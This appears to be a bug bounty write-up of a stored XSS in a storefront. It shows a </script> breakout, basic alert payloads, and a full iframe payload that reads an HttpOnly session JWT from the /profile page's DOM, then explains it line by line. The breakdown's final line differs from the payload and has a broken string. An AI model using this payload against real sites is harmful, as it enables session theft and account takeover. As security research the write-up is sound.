Stored XSS with HTTP only Session Cookies

I got into a bug bounty program where you develop a store front to shill garbage to the masses. After some rooting around I found an XSS location buried in a JSON object inside some script tags. The only possible context breakout was with a </script> tag. You can read more about XSS context here:

https://medium.com/techiepedia/xss-context-448b8a0cc904

Once broken out context, the normal payload <img src=x onerror=prompt(1)> was sufficient to get the beautiful pop up box we all love.

Seconardily, I checked the DOM access <img src=x onerror=prompt(document.cookie)>

Looked good, but there was a LOT of cookie info, and I wanted to narrow it down to the important session cookies.

The cookie names were all gibberish and not clearly labeling their intent, so I captured an API request, sent it to Repeater, and removed the cookies, one at a time to get down to the single cookie required to interact with the service.

Alas, it was flagged as HTTP only, and not retrievable by JavaScript.

I grabbed the cookie value, which was a JWT token, and searched it in Burp for HTTP responses. I lucked out as the entire cookie structure was being written to the DOM of the /profile page.

Now to work on the payload!

asdf</script><iframe id='z' src='/profile'></iframe><script>var myIframe = document.getElementById('z');myIframe.addEventListener('load', function() { var iframe = document.getElementById('z');var iframe_contents = iframe.contentWindow.document.getElementById('DATA').innerHTML; alert(JSON.stringify(JSON.parse(iframe_contents)['props']['pageProps']['cookies']),null,'\t');});</script>

Let me break it down

</script> – Breaks out of context to get our XSS payload into the DOM.

<iframe id='z' src='/profile'></iframe> – Use an iframe to load the page where we found the HTTPOnly flagged cookie value, and give it the id of ‘z’

<script>var myIframe = document.getElementById('z'); – Start our own JavaScript block and get the iframe that we had created.

myIframe.addEventListener('load', function {  – Create an event listener so we can get the contents once the iframe has finished loading, the site was a bit slow, so it would not load instantly.

var iframe = document.getElementById('z'); var iframe_contents = iframe.contentWindow.document.getElementById('DATA').innerHTML; – We are inside the listener function still, once the iframe finishes loading, we want to access the DOM inside of the iframe and get contents of one of its elements.

alert(JSON.stringify(JSON.parse(iframe_contents['property']['cookie']),null,'\t\);});</script> – Use JavaScripts JSON parsing ability to get the particular cookie we want from the blob of data and print it to the alert box.

This demonstrates to the program owners that we can access sensitive cookies via JavaScript, even tho they are marked as HTTPOnly.

The key take-aways from this is:

  1. If a cookie is HTTPOnly, search for it in Burp to see where else its value is being handled.
  2. Know enough JavaScript to be able to access it.